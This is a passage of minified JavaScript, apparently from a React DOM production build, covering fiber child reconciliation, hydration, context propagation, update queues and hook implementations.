r=ja(18,null,null,0);return r.stateNode=a,r}function Sm(a,r,l){return r=ja(4,a.children!==null?a.children:[],a.key,r),r.lanes=l,r.stateNode={containerInfo:a.containerInfo,pendingChildren:null,implementation:a.implementation},r}var H1=new WeakMap;function Ga(a,r){if(typeof a=="object"&&a!==null){var l=H1.get(a);return l!==void 0?l:(r={value:a,source:r,stack:ae(r)},H1.set(a,r),r)}return{value:a,source:r,stack:ae(r)}}var Do=[],Ro=0,fd=null,ac=0,Ya=[],Ka=0,kr=null,Rs=1,_s="";function er(a,r){Do[Ro++]=ac,Do[Ro++]=fd,fd=a,ac=r}function q1(a,r,l){Ya[Ka++]=Rs,Ya[Ka++]=_s,Ya[Ka++]=kr,kr=a;var f=Rs;a=_s;var v=32-en(f)-1;f&=~(1<<v),l+=1;var b=32-en(r)+v;if(30<b){var _=v-v%5;b=(f&(1<<_)-1).toString(32),f>>=_,v-=_,Rs=1<<32-en(r)+v|l<<v|f,_s=b+a}else Rs=1<<b|l<<v|f,_s=a}function Nm(a){a.return!==null&&(er(a,1),q1(a,1,0))}function Em(a){for(;a===fd;)fd=Do[--Ro],Do[Ro]=null,ac=Do[--Ro],Do[Ro]=null;for(;a===kr;)kr=Ya[--Ka],Ya[Ka]=null,_s=Ya[--Ka],Ya[Ka]=null,Rs=Ya[--Ka],Ya[Ka]=null}function $1(a,r){Ya[Ka++]=Rs,Ya[Ka++]=_s,Ya[Ka++]=kr,Rs=r.id,_s=r.overflow,kr=a}var Vn=null,It=null,vt=!1,Br=null,Xa=!1,jm=Error(s(519));function Mr(a){var r=Error(s(418,1<arguments.length&&arguments[1]!==void 0&&arguments[1]?"text":"HTML",""));throw sc(Ga(r,a)),jm}function G1(a){var r=a.stateNode,l=a.type,f=a.memoizedProps;switch(r[Re]=a,r[Be]=f,l){case"dialog":mt("cancel",r),mt("close",r);break;case"iframe":case"object":case"embed":mt("load",r);break;case"video":case"audio":for(l=0;l<jc.length;l++)mt(jc[l],r);break;case"source":mt("error",r);break;case"img":case"image":case"link":mt("error",r),mt("load",r);break;case"details":mt("toggle",r);break;case"input":mt("invalid",r),r1(r,f.value,f.defaultValue,f.checked,f.defaultChecked,f.type,f.name,!0);break;case"select":mt("invalid",r);break;case"textarea":mt("invalid",r),o1(r,f.value,f.defaultValue,f.children)}l=f.children,typeof l!="string"&&typeof l!="number"&&typeof l!="bigint"||r.textContent===""+l||f.suppressHydrationWarning===!0||cw(r.textContent,l)?(f.popover!=null&&(mt("beforetoggle",r),mt("toggle",r)),f.onScroll!=null&&mt("scroll",r),f.onScrollEnd!=null&&mt("scrollend",r),f.onClick!=null&&(r.onclick=Qs),r=!0):r=!1,r||Mr(a,!0)}function Y1(a){for(Vn=a.return;Vn;)switch(Vn.tag){case 5:case 31:case 13:Xa=!1;return;case 27:case 3:Xa=!0;return;default:Vn=Vn.return}}function _o(a){if(a!==Vn)return!1;if(!vt)return Y1(a),vt=!0,!1;var r=a.tag,l;if((l=r!==3&&r!==27)&&((l=r===5)&&(l=a.type,l=!(l!=="form"&&l!=="button")||qp(a.type,a.memoizedProps)),l=!l),l&&It&&Mr(a),Y1(a),r===13){if(a=a.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(s(317));It=vw(a)}else if(r===31){if(a=a.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(s(317));It=vw(a)}else r===27?(r=It,Kr(a.type)?(a=Xp,Xp=null,It=a):It=r):It=Vn?Qa(a.stateNode.nextSibling):null;return!0}function _i(){It=Vn=null,vt=!1}function Am(){var a=Br;return a!==null&&(ma===null?ma=a:ma.push.apply(ma,a),Br=null),a}function sc(a){Br===null?Br=[a]:Br.push(a)}var Tm=F(null),ki=null,tr=null;function Fr(a,r,l){q(Tm,r._currentValue),r._currentValue=l}function nr(a){a._currentValue=Tm.current,P(Tm)}function Dm(a,r,l){for(;a!==null;){var f=a.alternate;if((a.childLanes&r)!==r?(a.childLanes|=r,f!==null&&(f.childLanes|=r)):f!==null&&(f.childLanes&r)!==r&&(f.childLanes|=r),a===l)break;a=a.return}}function Rm(a,r,l,f){var v=a.child;for(v!==null&&(v.return=a);v!==null;){var b=v.dependencies;if(b!==null){var _=v.child;b=b.firstContext;e:for(;b!==null;){var L=b;b=v;for(var X=0;X<r.length;X++)if(L.context===r[X]){b.lanes|=l,L=b.alternate,L!==null&&(L.lanes|=l),Dm(b.return,l,a),f||(_=null);break e}b=L.next}}else if(v.tag===18){if(_=v.return,_===null)throw Error(s(341));_.lanes|=l,b=_.alternate,b!==null&&(b.lanes|=l),Dm(_,l,a),_=null}else _=v.child;if(_!==null)_.return=v;else for(_=v;_!==null;){if(_===a){_=null;break}if(v=_.sibling,v!==null){v.return=_.return,_=v;break}_=_.return}v=_}}function ko(a,r,l,f){a=null;for(var v=r,b=!1;v!==null;){if(!b){if((v.flags&524288)!==0)b=!0;else if((v.flags&262144)!==0)break}if(v.tag===10){var _=v.alternate;if(_===null)throw Error(s(387));if(_=_.memoizedProps,_!==null){var L=v.type;Ea(v.pendingProps.value,_.value)||(a!==null?a.push(L):a=[L])}}else if(v===fe.current){if(_=v.alternate,_===null)throw Error(s(387));_.memoizedState.memoizedState!==v.memoizedState.memoizedState&&(a!==null?a.push(_c):a=[_c])}v=v.return}a!==null&&Rm(r,a,l,f),r.flags|=262144}function hd(a){for(a=a.firstContext;a!==null;){if(!Ea(a.context._currentValue,a.memoizedValue))return!0;a=a.next}return!1}function Bi(a){ki=a,tr=null,a=a.dependencies,a!==null&&(a.firstContext=null)}function Un(a){return K1(ki,a)}function md(a,r){return ki===null&&Bi(a),K1(a,r)}function K1(a,r){var l=r._currentValue;if(r={context:r,memoizedValue:l,next:null},tr===null){if(a===null)throw Error(s(308));tr=r,a.dependencies={lanes:0,firstContext:r},a.flags|=524288}else tr=tr.next=r;return l}var u6=typeof AbortController<"u"?AbortController:function(){var a=[],r=this.signal={aborted:!1,addEventListener:function(l,f){a.push(f)}};this.abort=function(){r.aborted=!0,a.forEach(function(l){return l()})}},d6=e.unstable_scheduleCallback,f6=e.unstable_NormalPriority,bn={$$typeof:A,Consumer:null,Provider:null,_currentValue:null,_currentValue2:null,_threadCount:0};function _m(){return{controller:new u6,data:new Map,refCount:0}}function rc(a){a.refCount--,a.refCount===0&&d6(f6,function(){a.controller.abort()})}var ic=null,km=0,Bo=0,Mo=null;function h6(a,r){if(ic===null){var l=ic=[];km=0,Bo=Fp(),Mo={status:"pending",value:void 0,then:function(f){l.push(f)}}}return km++,r.then(X1,X1),r}function X1(){if(--km===0&&ic!==null){Mo!==null&&(Mo.status="fulfilled");var a=ic;ic=null,Bo=0,Mo=null;for(var r=0;r<a.length;r++)(0,a[r])()}}function m6(a,r){var l=[],f={status:"pending",value:null,reason:null,then:function(v){l.push(v)}};return a.then(function(){f.status="fulfilled",f.value=r;for(var v=0;v<l.length;v++)(0,l[v])(r)},function(v){for(f.status="rejected",f.reason=v,v=0;v<l.length;v++)(0,l[v])(void 0)}),f}var W1=M.S;M.S=function(a,r){B2=be(),typeof r=="object"&&r!==null&&typeof r.then=="function"&&h6(a,r),W1!==null&&W1(a,r)};var Mi=F(null);function Bm(){var a=Mi.current;return a!==null?a:Ft.pooledCache}function pd(a,r){r===null?q(Mi,Mi.current):q(Mi,r.pool)}function Q1(){var a=Bm();return a===null?null:{parent:bn._currentValue,pool:a}}var Fo=Error(s(460)),Mm=Error(s(474)),xd=Error(s(542)),gd={then:function(){}};function Z1(a){return a=a.status,a==="fulfilled"||a==="rejected"}function J1(a,r,l){switch(l=a[l],l===void 0?a.push(r):l!==r&&(r.then(Qs,Qs),r=l),r.status){case"fulfilled":return r.value;case"rejected":throw a=r.reason,tb(a),a;default:if(typeof r.status=="string")r.then(Qs,Qs);else{if(a=Ft,a!==null&&100<a.shellSuspendCounter)throw Error(s(482));a=r,a.status="pending",a.then(function(f){if(r.status==="pending"){var v=r;v.status="fulfilled",v.value=f}},function(f){if(r.status==="pending"){var v=r;v.status="rejected",v.reason=f}})}switch(r.status){case"fulfilled":return r.value;case"rejected":throw a=r.reason,tb(a),a}throw Oi=r,Fo}}function Fi(a){try{var r=a._init;return r(a._payload)}catch(l){throw l!==null&&typeof l=="object"&&typeof l.then=="function"?(Oi=l,Fo):l}}var Oi=null;function eb(){if(Oi===null)throw Error(s(459));var a=Oi;return Oi=null,a}function tb(a){if(a===Fo||a===xd)throw Error(s(483))}var Oo=null,oc=0;function vd(a){var r=oc;return oc+=1,Oo===null&&(Oo=[]),J1(Oo,a,r)}function lc(a,r){r=r.props.ref,a.ref=r!==void 0?r:null}function yd(a,r){throw r.$$typeof===g?Error(s(525)):(a=Object.prototype.toString.call(r),Error(s(31,a==="[object Object]"?"object with keys {"+Object.keys(r).join(", ")+"}":a)))}function nb(a){function r(te,Q){if(a){var re=te.deletions;re===null?(te.deletions=[Q],te.flags|=16):re.push(Q)}}function l(te,Q){if(!a)return null;for(;Q!==null;)r(te,Q),Q=Q.sibling;return null}function f(te){for(var Q=new Map;te!==null;)te.key!==null?Q.set(te.key,te):Q.set(te.index,te),te=te.sibling;return Q}function v(te,Q){return te=Js(te,Q),te.index=0,te.sibling=null,te}function b(te,Q,re){return te.index=re,a?(re=te.alternate,re!==null?(re=re.index,re<Q?(te.flags|=67108866,Q):re):(te.flags|=67108866,Q)):(te.flags|=1048576,Q)}function _(te){return a&&te.alternate===null&&(te.flags|=67108866),te}function L(te,Q,re,ge){return Q===null||Q.tag!==6?(Q=Cm(re,te.mode,ge),Q.return=te,Q):(Q=v(Q,re),Q.return=te,Q)}function X(te,Q,re,ge){var Ge=re.type;return Ge===S?pe(te,Q,re.props.children,ge,re.key):Q!==null&&(Q.elementType===Ge||typeof Ge=="object"&&Ge!==null&&Ge.$$typeof===B&&Fi(Ge)===Q.type)?(Q=v(Q,re.props),lc(Q,re),Q.return=te,Q):(Q=dd(re.type,re.key,re.props,null,te.mode,ge),lc(Q,re),Q.return=te,Q)}function ie(te,Q,re,ge){return Q===null||Q.tag!==4||Q.stateNode.containerInfo!==re.containerInfo||Q.stateNode.implementation!==re.implementation?(Q=Sm(re,te.mode,ge),Q.return=te,Q):(Q=v(Q,re.children||[]),Q.return=te,Q)}function pe(te,Q,re,ge,Ge){return Q===null||Q.tag!==7?(Q=Ri(re,te.mode,ge,Ge),Q.return=te,Q):(Q=v(Q,re),Q.return=te,Q)}function ve(te,Q,re){if(typeof Q=="string"&&Q!==""||typeof Q=="number"||typeof Q=="bigint")return Q=Cm(""+Q,te.mode,re),Q.return=te,Q;if(typeof Q=="object"&&Q!==null){switch(Q.$$typeof){case y:return re=dd(Q.type,Q.key,Q.props,null,te.mode,re),lc(re,Q),re.return=te,re;case w:return Q=Sm(Q,te.mode,re),Q.return=te,Q;case B:return Q=Fi(Q),ve(te,Q,re)}if(se(Q)||$(Q))return Q=Ri(Q,te.mode,re,null),Q.return=te,Q;if(typeof Q.then=="function")return ve(te,vd(Q),re);if(Q.$$typeof===A)return ve(te,md(te,Q),re);yd(te,Q)}return null}function oe(te,Q,re,ge){var Ge=Q!==null?Q.key:null;if(typeof re=="string"&&re!==""||typeof re=="number"||typeof re=="bigint")return Ge!==null?null:L(te,Q,""+re,ge);if(typeof re=="object"&&re!==null){switch(re.$$typeof){case y:return re.key===Ge?X(te,Q,re,ge):null;case w:return re.key===Ge?ie(te,Q,re,ge):null;case B:return re=Fi(re),oe(te,Q,re,ge)}if(se(re)||$(re))return Ge!==null?null:pe(te,Q,re,ge,null);if(typeof re.then=="function")return oe(te,Q,vd(re),ge);if(re.$$typeof===A)return oe(te,Q,md(te,re),ge);yd(te,re)}return null}function de(te,Q,re,ge,Ge){if(typeof ge=="string"&&ge!==""||typeof ge=="number"||typeof ge=="bigint")return te=te.get(re)||null,L(Q,te,""+ge,Ge);if(typeof ge=="object"&&ge!==null){switch(ge.$$typeof){case y:return te=te.get(ge.key===null?re:ge.key)||null,X(Q,te,ge,Ge);case w:return te=te.get(ge.key===null?re:ge.key)||null,ie(Q,te,ge,Ge);case B:return ge=Fi(ge),de(te,Q,re,ge,Ge)}if(se(ge)||$(ge))return te=te.get(re)||null,pe(Q,te,ge,Ge,null);if(typeof ge.then=="function")return de(te,Q,re,vd(ge),Ge);if(ge.$$typeof===A)return de(te,Q,re,md(Q,ge),Ge);yd(Q,ge)}return null}function Pe(te,Q,re,ge){for(var Ge=null,Ct=null,Ie=Q,it=Q=0,gt=null;Ie!==null&&it<re.length;it++){Ie.index>it?(gt=Ie,Ie=null):gt=Ie.sibling;var St=oe(te,Ie,re[it],ge);if(St===null){Ie===null&&(Ie=gt);break}a&&Ie&&St.alternate===null&&r(te,Ie),Q=b(St,Q,it),Ct===null?Ge=St:Ct.sibling=St,Ct=St,Ie=gt}if(it===re.length)return l(te,Ie),vt&&er(te,it),Ge;if(Ie===null){for(;it<re.length;it++)Ie=ve(te,re[it],ge),Ie!==null&&(Q=b(Ie,Q,it),Ct===null?Ge=Ie:Ct.sibling=Ie,Ct=Ie);return vt&&er(te,it),Ge}for(Ie=f(Ie);it<re.length;it++)gt=de(Ie,te,it,re[it],ge),gt!==null&&(a&&gt.alternate!==null&&Ie.delete(gt.key===null?it:gt.key),Q=b(gt,Q,it),Ct===null?Ge=gt:Ct.sibling=gt,Ct=gt);return a&&Ie.forEach(function(Jr){return r(te,Jr)}),vt&&er(te,it),Ge}function Ke(te,Q,re,ge){if(re==null)throw Error(s(151));for(var Ge=null,Ct=null,Ie=Q,it=Q=0,gt=null,St=re.next();Ie!==null&&!St.done;it++,St=re.next()){Ie.index>it?(gt=Ie,Ie=null):gt=Ie.sibling;var Jr=oe(te,Ie,St.value,ge);if(Jr===null){Ie===null&&(Ie=gt);break}a&&Ie&&Jr.alternate===null&&r(te,Ie),Q=b(Jr,Q,it),Ct===null?Ge=Jr:Ct.sibling=Jr,Ct=Jr,Ie=gt}if(St.done)return l(te,Ie),vt&&er(te,it),Ge;if(Ie===null){for(;!St.done;it++,St=re.next())St=ve(te,St.value,ge),St!==null&&(Q=b(St,Q,it),Ct===null?Ge=St:Ct.sibling=St,Ct=St);return vt&&er(te,it),Ge}for(Ie=f(Ie);!St.done;it++,St=re.next())St=de(Ie,te,it,St.value,ge),St!==null&&(a&&St.alternate!==null&&Ie.delete(St.key===null?it:St.key),Q=b(St,Q,it),Ct===null?Ge=St:Ct.sibling=St,Ct=St);return a&&Ie.forEach(function(ED){return r(te,ED)}),vt&&er(te,it),Ge}function Bt(te,Q,re,ge){if(typeof re=="object"&&re!==null&&re.type===S&&re.key===null&&(re=re.props.children),typeof re=="object"&&re!==null){switch(re.$$typeof){case y:e:{for(var Ge=re.key;Q!==null;){if(Q.key===Ge){if(Ge=re.type,Ge===S){if(Q.tag===7){l(te,Q.sibling),ge=v(Q,re.props.children),ge.return=te,te=ge;break e}}else if(Q.elementType===Ge||typeof Ge=="object"&&Ge!==null&&Ge.$$typeof===B&&Fi(Ge)===Q.type){l(te,Q.sibling),ge=v(Q,re.props),lc(ge,re),ge.return=te,te=ge;break e}l(te,Q);break}else r(te,Q);Q=Q.sibling}re.type===S?(ge=Ri(re.props.children,te.mode,ge,re.key),ge.return=te,te=ge):(ge=dd(re.type,re.key,re.props,null,te.mode,ge),lc(ge,re),ge.return=te,te=ge)}return _(te);case w:e:{for(Ge=re.key;Q!==null;){if(Q.key===Ge)if(Q.tag===4&&Q.stateNode.containerInfo===re.containerInfo&&Q.stateNode.implementation===re.implementation){l(te,Q.sibling),ge=v(Q,re.children||[]),ge.return=te,te=ge;break e}else{l(te,Q);break}else r(te,Q);Q=Q.sibling}ge=Sm(re,te.mode,ge),ge.return=te,te=ge}return _(te);case B:return re=Fi(re),Bt(te,Q,re,ge)}if(se(re))return Pe(te,Q,re,ge);if($(re)){if(Ge=$(re),typeof Ge!="function")throw Error(s(150));return re=Ge.call(re),Ke(te,Q,re,ge)}if(typeof re.then=="function")return Bt(te,Q,vd(re),ge);if(re.$$typeof===A)return Bt(te,Q,md(te,re),ge);yd(te,re)}return typeof re=="string"&&re!==""||typeof re=="number"||typeof re=="bigint"?(re=""+re,Q!==null&&Q.tag===6?(l(te,Q.sibling),ge=v(Q,re),ge.return=te,te=ge):(l(te,Q),ge=Cm(re,te.mode,ge),ge.return=te,te=ge),_(te)):l(te,Q)}return function(te,Q,re,ge){try{oc=0;var Ge=Bt(te,Q,re,ge);return Oo=null,Ge}catch(Ie){if(Ie===Fo||Ie===xd)throw Ie;var Ct=ja(29,Ie,null,te.mode);return Ct.lanes=ge,Ct.return=te,Ct}finally{}}}var Li=nb(!0),ab=nb(!1),Or=!1;function Fm(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function Om(a,r){a=a.updateQueue,r.updateQueue===a&&(r.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,callbacks:null})}function Lr(a){return{lane:a,tag:0,payload:null,callback:null,next:null}}function Pr(a,r,l){var f=a.updateQueue;if(f===null)return null;if(f=f.shared,(At&2)!==0){var v=f.pending;return v===null?r.next=r:(r.next=v.next,v.next=r),f.pending=r,r=ud(a),V1(a,null,l),r}return cd(a,f,r,l),ud(a)}function cc(a,r,l){if(r=r.updateQueue,r!==null&&(r=r.shared,(l&4194048)!==0)){var f=r.lanes;f&=a.pendingLanes,l|=f,r.lanes=l,xe(a,l)}}function Lm(a,r){var l=a.updateQueue,f=a.alternate;if(f!==null&&(f=f.updateQueue,l===f)){var v=null,b=null;if(l=l.firstBaseUpdate,l!==null){do{var _={lane:l.lane,tag:l.tag,payload:l.payload,callback:null,next:null};b===null?v=b=_:b=b.next=_,l=l.next}while(l!==null);b===null?v=b=r:b=b.next=r}else v=b=r;l={baseState:f.baseState,firstBaseUpdate:v,lastBaseUpdate:b,shared:f.shared,callbacks:f.callbacks},a.updateQueue=l;return}a=l.lastBaseUpdate,a===null?l.firstBaseUpdate=r:a.next=r,l.lastBaseUpdate=r}var Pm=!1;function uc(){if(Pm){var a=Mo;if(a!==null)throw a}}function dc(a,r,l,f){Pm=!1;var v=a.updateQueue;Or=!1;var b=v.firstBaseUpdate,_=v.lastBaseUpdate,L=v.shared.pending;if(L!==null){v.shared.pending=null;var X=L,ie=X.next;X.next=null,_===null?b=ie:_.next=ie,_=X;var pe=a.alternate;pe!==null&&(pe=pe.updateQueue,L=pe.lastBaseUpdate,L!==_&&(L===null?pe.firstBaseUpdate=ie:L.next=ie,pe.lastBaseUpdate=X))}if(b!==null){var ve=v.baseState;_=0,pe=ie=X=null,L=b;do{var oe=L.lane&-536870913,de=oe!==L.lane;if(de?(xt&oe)===oe:(f&oe)===oe){oe!==0&&oe===Bo&&(Pm=!0),pe!==null&&(pe=pe.next={lane:0,tag:L.tag,payload:L.payload,callback:null,next:null});e:{var Pe=a,Ke=L;oe=r;var Bt=l;switch(Ke.tag){case 1:if(Pe=Ke.payload,typeof Pe=="function"){ve=Pe.call(Bt,ve,oe);break e}ve=Pe;break e;case 3:Pe.flags=Pe.flags&-65537|128;case 0:if(Pe=Ke.payload,oe=typeof Pe=="function"?Pe.call(Bt,ve,oe):Pe,oe==null)break e;ve=x({},ve,oe);break e;case 2:Or=!0}}oe=L.callback,oe!==null&&(a.flags|=64,de&&(a.flags|=8192),de=v.callbacks,de===null?v.callbacks=[oe]:de.push(oe))}else de={lane:oe,tag:L.tag,payload:L.payload,callback:L.callback,next:null},pe===null?(ie=pe=de,X=ve):pe=pe.next=de,_|=oe;if(L=L.next,L===null){if(L=v.shared.pending,L===null)break;de=L,L=de.next,de.next=null,v.lastBaseUpdate=de,v.shared.pending=null}}while(!0);pe===null&&(X=ve),v.baseState=X,v.firstBaseUpdate=ie,v.lastBaseUpdate=pe,b===null&&(v.shared.lanes=0),Hr|=_,a.lanes=_,a.memoizedState=ve}}function sb(a,r){if(typeof a!="function")throw Error(s(191,a));a.call(r)}function rb(a,r){var l=a.callbacks;if(l!==null)for(a.callbacks=null,a=0;a<l.length;a++)sb(l[a],r)}var Lo=F(null),bd=F(0);function ib(a,r){a=dr,q(bd,a),q(Lo,r),dr=a|r.baseLanes}function zm(){q(bd,dr),q(Lo,Lo.current)}function Vm(){dr=bd.current,P(Lo),P(bd)}var Aa=F(null),Wa=null;function zr(a){var r=a.alternate;q(fn,fn.current&1),q(Aa,a),Wa===null&&(r===null||Lo.current!==null||r.memoizedState!==null)&&(Wa=a)}function Um(a){q(fn,fn.current),q(Aa,a),Wa===null&&(Wa=a)}function ob(a){a.tag===22?(q(fn,fn.current),q(Aa,a),Wa===null&&(Wa=a)):Vr()}function Vr(){q(fn,fn.current),q(Aa,Aa.current)}function Ta(a){P(Aa),Wa===a&&(Wa=null),P(fn)}var fn=F(0);function wd(a){for(var r=a;r!==null;){if(r.tag===13){var l=r.memoizedState;if(l!==null&&(l=l.dehydrated,l===null||Yp(l)||Kp(l)))return r}else if(r.tag===19&&(r.memoizedProps.revealOrder==="forwards"||r.memoizedProps.revealOrder==="backwards"||r.memoizedProps.revealOrder==="unstable_legacy-backwards"||r.memoizedProps.revealOrder==="together")){if((r.flags&128)!==0)return r}else if(r.child!==null){r.child.return=r,r=r.child;continue}if(r===a)break;for(;r.sibling===null;){if(r.return===null||r.return===a)return null;r=r.return}r.sibling.return=r.return,r=r.sibling}return null}var ar=0,st=null,_t=null,wn=null,Cd=!1,Po=!1,Pi=!1,Sd=0,fc=0,zo=null,p6=0;function rn(){throw Error(s(321))}function Im(a,r){if(r===null)return!1;for(var l=0;l<r.length&&l<a.length;l++)if(!Ea(a[l],r[l]))return!1;return!0}function Hm(a,r,l,f,v,b){return ar=b,st=r,r.memoizedState=null,r.updateQueue=null,r.lanes=0,M.H=a===null||a.memoizedState===null?qb:sp,Pi=!1,b=l(f,v),Pi=!1,Po&&(b=cb(r,l,f,v)),lb(a),b}function lb(a){M.H=pc;var r=_t!==null&&_t.next!==null;if(ar=0,wn=_t=st=null,Cd=!1,fc=0,zo=null,r)throw Error(s(300));a===null||Cn||(a=a.dependencies,a!==null&&hd(a)&&(Cn=!0))}function cb(a,r,l,f){st=a;var v=0;do{if(Po&&(zo=null),fc=0,Po=!1,25<=v)throw Error(s(301));if(v+=1,wn=_t=null,a.updateQueue!=null){var b=a.updateQueue;b.lastEffect=null,b.events=null,b.stores=null,b.memoCache!=null&&(b.memoCache.index=0)}M.H=$b,b=r(l,f)}while(Po);return b}function x6(){var a=M.H,r=a.useState()[0];return r=typeof r.then=="function"?hc(r):r,a=a.useState()[0],(_t!==null?_t.memoizedState:null)!==a&&(st.flags|=1024),r}function qm(){var a=Sd!==0;return Sd=0,a}function $m(a,r,l){r.updateQueue=a.updateQueue,r.flags&=-2053,a.lanes&=~l}function Gm(a){if(Cd){for(a=a.memoizedState;a!==null;){var r=a.queue;r!==null&&(r.pending=null),a=a.next}Cd=!1}ar=0,wn=_t=st=null,Po=!1,fc=Sd=0,zo=null}function sa(){var a={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return wn===null?st.memoizedState=wn=a:wn=wn.next=a,wn}function hn(){if(_t===null){var a=st.alternate;a=a!==null?a.memoizedState:null}else a=_t.next;var r=wn===null?st.memoizedState:wn.next;if(r!==null)wn=r,_t=a;else{if(a===null)throw st.alternate===null?Error(s(467)):Error(s(310));_t=a,a={memoizedState:_t.memoizedState,baseState:_t.baseState,baseQueue:_t.baseQueue,queue:_t.queue,next:null},wn===null?st.memoizedState=wn=a:wn=wn.next=a}return wn}function Nd(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function hc(a){var r=fc;return fc+=1,zo===null&&(zo=[]),a=J1(zo,a,r),r=st,(wn===null?r.memoizedState:wn.next)===null&&(r=r.alternate,M.H=r===null||r.memoizedState===null?qb:sp),a}function Ed(a){if(a!==null&&typeof a=="object"){if(typeof a.then=="function")return hc(a);if(a.$$typeof===A)return Un(a)}throw Error(s(438,String(a)))}function Ym(a){var r=null,l=st.updateQueue;if(l!==null&&(r=l.memoCache),r==null){var f=st.alternate;f!==null&&(f=f.updateQueue,f!==null&&(f=f.memoCache,f!=null&&(r={data:f.data.map(function(v){return v.slice()}),index:0})))}if(r==null&&(r={data:[],index:0}),l===null&&(l=Nd(),st.updateQueue=l),l.memoCache=r,l=r.data[r.index],l===void 0)for(l=r.data[r.index]=Array(a),f=0;f<a;f++)l[f]=z;return r.index++,l}function sr(a,r){return typeof r=="function"?r(a):r}function jd(a){var r=hn();return Km(r,_t,a)}function Km(a,r,l){var f=a.queue;if(f===null)throw Error(s(311));f.lastRenderedReducer=l;var v=a.baseQueue,b=f.pending;if(b!==null){if(v!==null){var _=v.next;v.next=b.next,b.next=_}r.baseQueue=v=b,f.pending=null}if(b=a.baseState,v===null)a.memoizedState=b;else{r=v.next;var L=_=null,X=null,ie=r,pe=!1;do{var ve=ie.lane&-536870913;if(ve!==ie.lane?(xt&ve)===ve:(ar&ve)===ve){var oe=ie.revertLane;if(oe===0)X!==null&&(X=X.next={lane:0,revertLane:0,gesture:null,action:ie.action,hasEagerState:ie.hasEagerState,eagerState:ie.eagerState,next:null}),ve===Bo&&(pe=!0);else if((ar&oe)===oe){ie=ie.next,oe===Bo&&(pe=!0);continue}else ve={lane:0,revertLane:ie.revertLane,gesture:null,action:ie.action,hasEagerState:ie.hasEagerState,eagerState:ie.eagerState,next:null},X===null?(L=X=ve,_=b):X=X.next=ve,st.lanes|=oe,Hr|=oe;ve=ie.action,Pi&&l(b,ve),b=ie.hasEagerState?ie.eagerState:l(b,ve)}else oe={lane:ve,revertLane:ie.revertLane,gesture:ie.gesture,action:ie.action,hasEagerState:ie.hasEagerState,eagerState:ie.eagerState,next:null},X===null?(L=X=oe,_=b):X=X.next=oe,st.lanes|=ve,Hr|=ve;ie=ie.next}while(ie!==null&&ie!==r);if(X===null?_=b:X.next=L,!Ea(b,a.memoizedState)&&(Cn=!0,pe&&(l=Mo,l!==null)))throw l;a.memoizedState=b,a.baseState=_,a.baseQueue=X,f.lastRenderedState=b}return v===null&&(f.lanes=0),[a.memoizedState,f.dispatch]}function Xm(a){var r=hn(),l=r.queue;if(l===null)throw Error(s(311));l.lastRenderedReducer=a;var f=l.dispatch,v=l.pending,b=r.memoizedState;if(v!==null){l.pending=null;var _=v=v.next;do b=a(b,_.action),_=_.next;while(_!==v);Ea(b,r.memoizedState)||(Cn=!0),r.memoizedState=b,r.baseQueue===null&&(r.baseState=b),l.lastRenderedState=b}return[b,f]}function ub(a,r,l){var f=st,v=hn(),b=vt;if(b){if(l===void 0)throw Error(s(407));l=l()}else l=r();var _=!Ea((_t||v).memoizedState,l);if(_&&(v.memoizedState=l,Cn=!0),v=v.queue,Zm(hb.bind(null,f,v,a),[a]),v.getSnapshot!==r||_||wn!==null&&wn.memoizedState.tag&1){if(f.flags|=2048,Vo(9,{destroy:void 0},fb.bind(null,f,v,l,r),null),Ft===null)throw Error(s(349));b||(ar&127)!==0||db(f,r,l)}return l}function db(a,r,l){a.flags|=16384,a={getSnapshot:r,value:l},r=st.updateQueue,r===null?(r=Nd(),st.updateQueue=r,r.stores=[a]):(l=r.stores,l===null?r.stores=[a]:l.push(a))}function fb(a,r,l,f){r.value=l,r.getSnapshot=f,mb(r)&&pb(a)}function hb(a,r,l){return l(function(){mb(r)&&pb(a)})}function mb(a){var r=a.getSnapshot;a=a.value;try{var l=r();return!Ea(a,l)}catch{return!0}}function pb(a){var r=Di(a,2);r!==null&&pa(r,a,2)}function Wm(a){var r=sa();if(typeof a=="function"){var l=a;if(a=l(),Pi){Tn(!0);try{l()}finally{Tn(!1)}}}return r.memoizedState=r.baseState=a,r.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:sr,lastRenderedState:a},r}function xb(a,r,l,f){return a.baseState=l,Km(a,_t,typeof f=="function"?f:sr)}function g6(a,r,l,f,v){if(Dd(a))throw Error(s(485));if(a=r.action,a!==null){var b={payload:v,action:a,next:null,isTransition:!0,status:"pending",value:null,reason:null,listeners:[],then:function(_){b.listeners.push(_)}};M.T!==null?l(!0):b.isTransition=!1,f(b),l=r.pending,l===null?(b.next=r.pending=b,gb(r,b)):(b.next=l.next,r.pending=l.next=b)}}function gb(a,r){var l=r.action,f=r.payload,v=a.state;if(r.isTransition){var b=M.T,_={};M.T=_;try{var L=l(v,f),X=M.S;X!==null&&X(_,L),vb(a,r,L)}catch(ie){Qm(a,r,ie)}finally{b!==null&&_.types!==null&&(b.types=_.types),M.T=b}}else try{b=l(v,f),vb(a,r,b)}catch(ie){Qm(a,r,ie)}}function vb(a,r,l){l!==null&&typeof l=="object"&&typeof l.then=="function"?l.then(function(f){yb(a,r,f)},function(f){return Qm(a,r,f)}):yb(a,r,l)}function yb(a,r,l){r.status="fulfilled",r.value=l,bb(r),a.state=l,r=a.pending,r!==null&&(l=r.next,l===r?a.pending=null:(l=l.next,r.next=l,gb(a,l)))}function Qm(a,r,l){var f=a.pending;if(a.pending=null,f!==null){f=f.next;do r.status="rejected",r.reason=l,bb(r),r=r.next;while(r!==f)}a.action=null}function bb(a){a=a.listeners;for(var r=0;r<a.length;r++)(0,a[r])()}function wb(a,r){return r}function Cb(a,r){if(vt){var l=Ft.formState;if(l!==null){e:{var f=st;if(vt){if(It){t:{for(var v=It,b=Xa;v.nodeType!==8;){if(!b){v=null;break t}if(v=Qa(v.nextSibling),v===null){v=null;break t}}b=v.data,v=b==="F!"||b==="F"?v:null}if(v){It=Qa(v.nextSibling),f=v.data==="F!";break e}}Mr(f)}f=!1}f&&(r=l[0])}}return 